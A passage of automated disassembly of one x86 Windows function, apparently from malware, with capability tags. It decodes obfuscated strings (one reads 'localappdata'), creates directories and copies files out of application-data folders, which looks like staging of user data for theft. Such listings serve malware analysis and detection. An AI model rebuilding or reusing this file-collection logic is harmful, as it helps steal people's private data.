Function at 0x43ce40
Capabilities:
Copy file
Create directory
Get common file path
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4ff131
push eax
mov eax, 0x1038
mov dword fs:[0], esp
call fcn.004bbd10
push esi
push edi
xor edi, edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x28], edi
cmp byte [0x539b56], 0
mov al, byte [0x539b57]
mov byte [ebp - 0x30], al
mov al, byte [0x539b58]
mov byte [ebp - 0xf], al
mov al, byte [0x539b38]
mov byte [ebp - 0x15], al
je 0x43d66c
mov dword [ebp - 0x4f], 0x8f8b9983
xor ecx, ecx
mov byte [ebp - 0x4b], 0
movzx eax, byte [ebp + ecx - 0x4f]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x4f], al
inc ecx
cmp ecx, 4
jb 0x43cea1
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x4f]
mov edx, dword [0x539b9c]
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ced0
mov eax, closesocket
sub ecx, esi
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [0x539ba0], 0x10
mov eax, 0x539b8c
push ecx
cmovae eax, dword [0x539b8c]
lea ecx, [ebp - 0x4f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x7cc]
call fcn.004680d0
cmp dword [ebp - 0x7b8], 0x10
lea eax, [ebp - 0x7cc]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmovae eax, dword [ebp - 0x7cc]
push 0
push eax
mov dword [ebp - 0x14], 0x8000000
call esi
test eax, eax
je 0x43d644
mov byte [ebp - 0xe], 0
xor ecx, ecx
mov dword [ebp - 0x1c8], 0xb3b69983
mov dword [ebp - 0x1c4], 0xb3b685ba
mov word [ebp - 0x1c0], 0xbeb3
mov byte [ebp - 0x1be], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1c8]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1c8], al
inc ecx
cmp ecx, 0xa
jb 0x43cf70
lea eax, [ebp - 0x1c8]
push eax
lea edx, [ebp - 0x7cc]
lea ecx, [ebp - 0x8fc]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 1
lea eax, [ebp - 0x8fc]
cmp dword [ebp - 0x8e8], 0x10
push 0
cmovae eax, dword [ebp - 0x8fc]
push eax
call esi
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x43d238
push 0x104
lea eax, [ebp - 0xf40]
push 0
push eax
call fcn.004d31f0
add esp, 0xc
lea eax, [ebp - 0xf40]
push eax
push 0
push 0
push 0x1a
push 0
call esi
mov dword [ebp - 0x158], 0xb3b69983
xor ecx, ecx
mov dword [ebp - 0x154], 0xb3b685ba
mov word [ebp - 0x150], 0xbeb3
mov byte [ebp - 0x14e], 0
nop
movzx eax, byte [ebp + ecx - 0x158]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x158], al
inc ecx
cmp ecx, 0xa
jb 0x43d020
xorps xmm0, xmm0
mov dword [ebp - 0x578], 0
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x574], 0
movups xmmword [ebp - 0x588], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d062
sub ecx, edx
lea eax, [ebp - 0x158]
push ecx
push eax
lea ecx, [ebp - 0x588]
call fcn.00402aa0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xf40]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d090
sub ecx, edx
lea eax, [ebp - 0xf40]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x588]
call fcn.00469030
mov dword [ebp - 0x368], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x378], xmm0
mov dword [ebp - 0x364], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x1c], 0x80000
movups xmmword [ebp - 0x378], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x368], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x574]
cmp ecx, 0x10
jb 0x43d138
mov edx, dword [ebp - 0x588]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d12e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44197f
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0x364], 0x10
lea ecx, [ebp - 0x378]
mov dword [ebp - 0x578], 0
cmovae ecx, dword [ebp - 0x378]
mov dword [ebp - 0x574], 0xf
mov byte [ebp - 0x588], 0
call fcn.0040b940
test al, al
je 0x43d1bd
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x8fc]
mov dword [ebp - 0x20], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 5
sub esp, 0x18
lea eax, [ebp - 0x378]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 6
mov byte [ebp - 4], 4
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x43d1bd
mov byte [ebp - 0xe], 1
jmp 0x43d1cc
push ecx
lea ecx, [ebp - 0x8fc]
call fcn.0040b990
add esp, 4
mov edi, 0x80000
mov dword [ebp - 0x1c], edi
and edi, 0xfff7ffff
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x364]
cmp ecx, 0x10
jb 0x43d21b
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d211
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44197f
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0x368], 0
mov dword [ebp - 0x364], 0xf
mov byte [ebp - 0x378], 0
jmp 0x43d23b
mov edi, dword [ebp - 0x1c]
movaps xmm0, xmmword [0x526f50]
xor ecx, ecx
movups xmmword [ebp - 0xb24], xmm0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xb24]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xb24], al
inc ecx
cmp ecx, 0xf
jb 0x43d250
lea eax, [ebp - 0xb24]
push eax
lea edx, [ebp - 0x7cc]
lea ecx, [ebp - 0x5b8]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 7
lea eax, [ebp - 0x5b8]
cmp dword [ebp - 0x5a4], 0x10
push 0
cmovae eax, dword [ebp - 0x5b8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x43d611
push 0x104
lea eax, [ebp - 0x1044]
push 0
push eax
call fcn.004d31f0
add esp, 0xc
lea eax, [ebp - 0x1044]
push eax
push 0
push 0
push 0x1a
push 0
call esi
movaps xmm0, xmmword [0x5276d0]
xor ecx, ecx
movups xmmword [ebp - 0x4c9], xmm0
mov dword [ebp - 0x4b9], 0xb6b1b6f1
mov byte [ebp - 0x4b5], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x4c9]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x4c9], al
inc ecx
cmp ecx, 0x14
jb 0x43d300
xorps xmm0, xmm0
mov dword [ebp - 0x590], 0
lea ecx, [ebp - 0x4c9]
mov dword [ebp - 0x58c], 0
movups xmmword [ebp - 0x5a0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d342
sub ecx, edx
lea eax, [ebp - 0x4c9]
push ecx
push eax
lea ecx, [ebp - 0x5a0]
call fcn.00402aa0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1044]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d370
sub ecx, edx
lea eax, [ebp - 0x1044]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x5a0]
call fcn.00469030
mov dword [ebp - 0x2fc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x30c], xmm0
mov dword [ebp - 0x2f8], 0
or edi, 0x100000
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x30c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2fc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x58c]
cmp ecx, 0x10
jb 0x43d41a
mov edx, dword [ebp - 0x5a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d410
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44197f
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0x2f8], 0x10
lea edx, [ebp - 0x30c]
mov dword [ebp - 0x590], 0
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x30c]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x58c], 0xf
mov byte [ebp - 0x5a0], 0
mov ecx, edx
mov dword [ebp - 0x20], esp
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d470
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 0xa
call fcn.0040b8a0
add esp, 0x18
test al, al
je 0x43d59d
mov dword [ebp - 0x186], 0xa7bca883
xor ecx, ecx
mov dword [ebp - 0x182], 0xafabb980
mov dword [ebp - 0x17e], 0xb6b1b6f1
mov byte [ebp - 0x17a], 0
movzx eax, byte [ebp + ecx - 0x186]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x186], al
inc ecx
cmp ecx, 0xc
jb 0x43d4c1
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x186]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d4f0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x5a8]
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [ebp - 0x5a4], 0x10
lea eax, [ebp - 0x5b8]
push ecx
cmovae eax, dword [ebp - 0x5b8]
lea ecx, [ebp - 0x186]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc2c]
call fcn.004680d0
mov edi, dword [ebp - 0x1c]
lea ecx, [ebp - 0xc2c]
or edi, 0x80000000
lea eax, [ebp - 0x30c]
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0xc18], 0x10
push 0
cmovae ecx, dword [ebp - 0xc2c]
cmp dword [ebp - 0x2f8], 0x10
push ecx
cmovae eax, dword [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and edi, 0x7fffffff
mov esi, eax
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xc2c]
call fcn.00402890
test esi, esi
je 0x43d5a0
mov byte [ebp - 0xe], 1
jmp 0x43d5af
mov edi, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x5b8]
call fcn.0040b990
add esp, 4
and edi, 0xffefffff
mov dword [ebp - 0x1c], edi
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x2f8]
cmp ecx, 0x10
jb 0x43d5f6
mov edx, dword [ebp - 0x30c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d5ec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44197f
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0x2fc], 0
mov dword [ebp - 0x2f8], 0xf
mov byte [ebp - 0x30c], 0
cmp byte [ebp - 0xe], 0
jne 0x43d626
push ecx
lea ecx, [ebp - 0x7cc]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x5b8]
call fcn.00402890
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x8fc]
call fcn.00402890
mov eax, 0x8000000
mov dword [ebp - 0x14], eax
and eax, 0xf7ffffff
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7cc]
call fcn.00402890
mov edi, dword [ebp - 0x14]
mov al, byte [ebp - 0x15]
test al, al
je 0x43fa7a
mov dword [ebp - 0x83], 0xb2be9883
xor ecx, ecx
mov word [ebp - 0x7f], 0xacba
mov byte [ebp - 0x7d], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x83]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x83], al
inc ecx
cmp ecx, 6
jb 0x43d690
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x83]
mov edx, dword [0x539b9c]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d6c1
mov eax, closesocket
sub ecx, esi
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [0x539ba0], 0x10
mov eax, 0x539b8c
push ecx
cmovae eax, dword [0x539b8c]
lea ecx, [ebp - 0x83]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x3f4]
call fcn.004680d0
or edi, 0x10000000
lea eax, [ebp - 0x3f4]
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x3e0], 0x10
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmovae eax, dword [ebp - 0x3f4]
push 0
push eax
call esi
test eax, eax
je 0x43fa5f
mov byte [ebp - 0x38], 0
xor ecx, ecx
mov dword [ebp - 0x1d3], 0xb0ad9883
mov dword [ebp - 0x1cf], 0xafb0aba8
mov word [ebp - 0x1cb], 0xbeb6
mov byte [ebp - 0x1c9], 0
nop
movzx eax, byte [ebp + ecx - 0x1d3]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1d3], al
inc ecx
cmp ecx, 0xa
jb 0x43d760
lea eax, [ebp - 0x1d3]
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x6c0]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x6c0]
cmp dword [ebp - 0x6ac], 0x10
push 0
cmovae eax, dword [ebp - 0x6c0]
push eax
call esi
test eax, eax
je 0x43da9b
movaps xmm0, xmmword [0x527e80]
xor ecx, ecx
movups xmmword [ebp - 0x4dd], xmm0
mov dword [ebp - 0x4cd], 0xabbebb
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x4dd]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x4dd], al
inc ecx
cmp ecx, 0x13
jb 0x43d7e0
xorps xmm0, xmm0
mov dword [ebp - 0x4e8], 0
lea ecx, [ebp - 0x4dd]
mov dword [ebp - 0x4e4], 0
movups xmmword [ebp - 0x4f8], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d822
sub ecx, edx
lea eax, [ebp - 0x4dd]
push ecx
push eax
lea ecx, [ebp - 0x4f8]
call fcn.00402aa0
mov byte [ebp - 4], 0xf
xor ecx, ecx
mov dword [ebp - 0x23e], 0x9e9c9093
mov dword [ebp - 0x23a], 0x8f8f9e93
mov dword [ebp - 0x236], 0x9e8b9e9b
mov byte [ebp - 0x232], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x23e]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x23e], al
inc ecx
cmp ecx, 0xc
jb 0x43d870
lea eax, [ebp - 0x23e]
push eax
call fcn.004dff73
lea ecx, [ebp - 0x4f8]
mov edx, eax
push ecx
lea ecx, [ebp - 0x7e4]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x4e4]
cmp ecx, 0x10
jb 0x43d8ec
mov edx, dword [ebp - 0x4f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d8e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44197f
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0x7d0], 0x10
lea edx, [ebp - 0x7e4]
mov dword [ebp - 0x4e8], 0
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x7e4]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x4e4], 0xf
mov ecx, edx
mov byte [ebp - 0x4f8], 0
mov dword [ebp - 0x20], esp
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d940
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0x11
call fcn.0040b8a0
add esp, 0x18
test al, al
je 0x43da70
mov dword [ebp - 0xb3], 0xa9beac83
xor ecx, ecx
mov dword [ebp - 0xaf], 0xbebbf1ba
mov word [ebp - 0xab], 0xab
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xb3]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xb3], al
inc ecx
cmp ecx, 9
jb 0x43d990
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xb3]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d9b8
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x6b0]
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [ebp - 0x6ac], 0x10
lea eax, [ebp - 0x6c0]
push ecx
cmovae eax, dword [ebp - 0x6c0]
lea ecx, [ebp - 0xb3]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc44]
call fcn.004680d0
cmp dword [ebp - 0xc30], 0x10
lea ecx, [ebp - 0xc44]
push 0
cmovae ecx, dword [ebp - 0xc44]
lea eax, [ebp - 0x7e4]
cmp dword [ebp - 0x7d0], 0x10
push ecx
cmovae eax, dword [ebp - 0x7e4]
push eax
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov eax, 1
mov dword [ebp - 0x28], eax
and eax, 0xfffffffe
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xc44]
call fcn.00402890
mov eax, dword [ebp - 0x38]
test esi, esi
movzx eax, al
mov ecx, 1
cmovne eax, ecx
mov dword [ebp - 0x38], eax
jmp 0x43da73
mov eax, dword [ebp - 0x38]
test al, al
jne 0x43da86
push ecx
lea ecx, [ebp - 0x6c0]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x7e4]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x1de], 0xb1b69283
xor ecx, ecx
mov dword [ebp - 0x1da], 0xbeadbcba
mov word [ebp - 0x1d6], 0xabb9
mov byte [ebp - 0x1d4], 0
movzx eax, byte [ebp + ecx - 0x1de]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1de], al
inc ecx
cmp ecx, 0xa
jb 0x43dac1
lea eax, [ebp - 0x1de]
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x2c4]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x2c4]
cmp dword [ebp - 0x2b0], 0x10
push 0
cmovae eax, dword [ebp - 0x2c4]
push eax
call esi
test eax, eax
je 0x43e320
movaps xmm0, xmmword [0x527810]
xor ecx, ecx
movups xmmword [ebp - 0x967], xmm0
mov byte [ebp - 0xe], 0
movaps xmm0, xmmword [0x527560]
movups xmmword [ebp - 0x957], xmm0
mov word [ebp - 0x947], 0xb1b0
mov byte [ebp - 0x945], 0
nop
movzx eax, byte [ebp + ecx - 0x967]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x967], al
inc ecx
cmp ecx, 0x22
jb 0x43db50
xorps xmm0, xmm0
mov dword [ebp - 0x560], 0
lea ecx, [ebp - 0x967]
mov dword [ebp - 0x55c], 0
movups xmmword [ebp - 0x570], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43db92
sub ecx, edx
lea eax, [ebp - 0x967]
push ecx
push eax
lea ecx, [ebp - 0x570]
call fcn.00402aa0
mov byte [ebp - 4], 0x15
xor ecx, ecx
mov dword [ebp - 0x145], 0x9b8f8f9e
mov dword [ebp - 0x141], 0x9e8b9e
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x145]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x145], al
inc ecx
cmp ecx, 7
jb 0x43dbd0
lea eax, [ebp - 0x145]
push eax
call fcn.004dff73
lea ecx, [ebp - 0x570]
mov edx, eax
push ecx
lea ecx, [ebp - 0x82c]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x55c]
cmp ecx, 0x10
jb 0x43dc4c
mov edx, dword [ebp - 0x570]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dc42
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44197f
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0x818], 0x10
lea edx, [ebp - 0x82c]
mov dword [ebp - 0x560], 0
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x82c]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x55c], 0xf
mov ecx, edx
mov byte [ebp - 0x570], 0
mov dword [ebp - 0x20], esp
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43dca0
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x18
mov byte [ebp - 4], 0x17
call fcn.0040b8a0
add esp, 0x18
test al, al
je 0x43ddba
movaps xmm0, xmmword [0x5277f0]
xor ecx, ecx
movups xmmword [ebp - 0x40c], xmm0
mov dword [ebp - 0x3fc], 0xb5f1acab
mov dword [ebp - 0x3f8], 0xb1b0ac
nop
movzx eax, byte [ebp + ecx - 0x40c]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x40c], al
inc ecx
cmp ecx, 0x17
jb 0x43dcf0
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x40c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43dd18
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x2b4]
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [ebp - 0x2b0], 0x10
lea eax, [ebp - 0x2c4]
push ecx
cmovae eax, dword [ebp - 0x2c4]
lea ecx, [ebp - 0x40c]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc5c]
call fcn.004680d0
or dword [ebp - 0x28], 2
lea ecx, [ebp - 0xc5c]
cmp dword [ebp - 0xc48], 0x10
lea eax, [ebp - 0x82c]
push 0
cmovae ecx, dword [ebp - 0xc5c]
cmp dword [ebp - 0x818], 0x10
push ecx
cmovae eax, dword [ebp - 0x82c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x28], 0xfffffffd
mov esi, eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0xc5c]
call fcn.00402890
test esi, esi
je 0x43ddba
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x38], 1
movaps xmm0, xmmword [0x527810]
xor ecx, ecx
movups xmmword [ebp - 0x789], xmm0
mov dword [ebp - 0x769], 0xacb3beb6
movaps xmm0, xmmword [0x527460]
movups xmmword [ebp - 0x779], xmm0
mov dword [ebp - 0x765], 0xb1b6bdf1
mov byte [ebp - 0x761], 0
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x789]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x789], al
inc ecx
cmp ecx, 0x28
jb 0x43de00
xorps xmm0, xmm0
mov dword [ebp - 0x5d8], 0
lea ecx, [ebp - 0x789]
mov dword [ebp - 0x5d4], 0
movups xmmword [ebp - 0x5e8], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43de42
sub ecx, edx
lea eax, [ebp - 0x789]
push ecx
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00402aa0
mov byte [ebp - 4], 0x1a
xor ecx, ecx
mov dword [ebp - 0x14d], 0x9b8f8f9e
mov dword [ebp - 0x149], 0x9e8b9e
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x14d]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x14d], al
inc ecx
cmp ecx, 7
jb 0x43de80
lea eax, [ebp - 0x14d]
push eax
call fcn.004dff73
lea ecx, [ebp - 0x5e8]
mov edx, eax
push ecx
lea ecx, [ebp - 0x814]
call fcn.00464300
add esp, 8
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x5d4]
cmp ecx, 0x10
jb 0x43defc
mov edx, dword [ebp - 0x5e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43def2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44197f
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0x800], 0x10
lea edx, [ebp - 0x814]
mov dword [ebp - 0x5d8], 0
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x814]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x5d4], 0xf
mov ecx, edx
mov byte [ebp - 0x5e8], 0
mov dword [ebp - 0x20], esp
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43df50
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x1d
mov byte [ebp - 4], 0x1c
call fcn.0040b8a0
add esp, 0x18
test al, al
je 0x43e082
movaps xmm0, xmmword [0x5276c0]
xor ecx, ecx
movups xmmword [ebp - 0x342], xmm0
mov dword [ebp - 0x332], 0xb1babbba
mov dword [ebp - 0x32e], 0xb3beb6ab
mov dword [ebp - 0x32a], 0xb6bdf1ac
mov word [ebp - 0x326], 0xb1
movzx eax, byte [ebp + ecx - 0x342]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x342], al
inc ecx
cmp ecx, 0x1d
jb 0x43dfb2
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x342]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43dfe0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x2b4]
sub eax, edx
cmp eax, ecx
jb 0x44197a
cmp dword [ebp - 0x2b0], 0x10
lea eax, [ebp - 0x2c4]
push ecx
cmovae eax, dword [ebp - 0x2c4]
lea ecx, [ebp - 0x342]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc74]
call fcn.004680d0
or dword [ebp - 0x28], 8
lea ecx, [ebp - 0xc74]
cmp dword [ebp - 0xc60], 0x10
lea eax, [ebp - 0x814]
push 0
cmovae ecx, dword [ebp - 0xc74]
cmp dword [ebp - 0x800], 0x10
push ecx
cmovae eax, dword [ebp - 0x814]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x28], 0xfffffff7
mov esi, eax
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0xc74]
call fcn.00402890
test esi, esi
je 0x43e082
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x38], 1
movaps xmm0, xmmword [0x527810]
xor ecx, ecx
movups xmmword [ebp - 0x98a], xmm0
mov word [ebp - 0x96a], 0xb1b0
movaps xmm0, xmmword [0x527570]
movups xmmword [ebp - 0x97a], xmm0
mov byte [ebp - 0x968], 0
movzx eax, byte [ebp + ecx - 0x98a]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x98a], al
inc ecx
cmp ecx, 0x22
jb 0x43e0b0
xorps xmm0, xmm0
mov dword [ebp - 0xb2c], 0
lea ecx, [ebp - 0x98a]
mov dword [ebp - 0xb28], 0
movups xmmword [ebp - 0xb3c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e0f2
sub ecx, edx
lea eax, [ebp - 0x98a]
push ecx
push eax
lea ecx, [ebp - 0xb3c]
call fcn.00402aa0
mov byte [ebp - 4], 0x1f
xor ecx, ecx
mov dword [ebp - 0xc5], 0x9b8f8f9e
mov dword [ebp - 0xc1], 0x9e8b9e
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xc5]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xc5], al
inc ecx
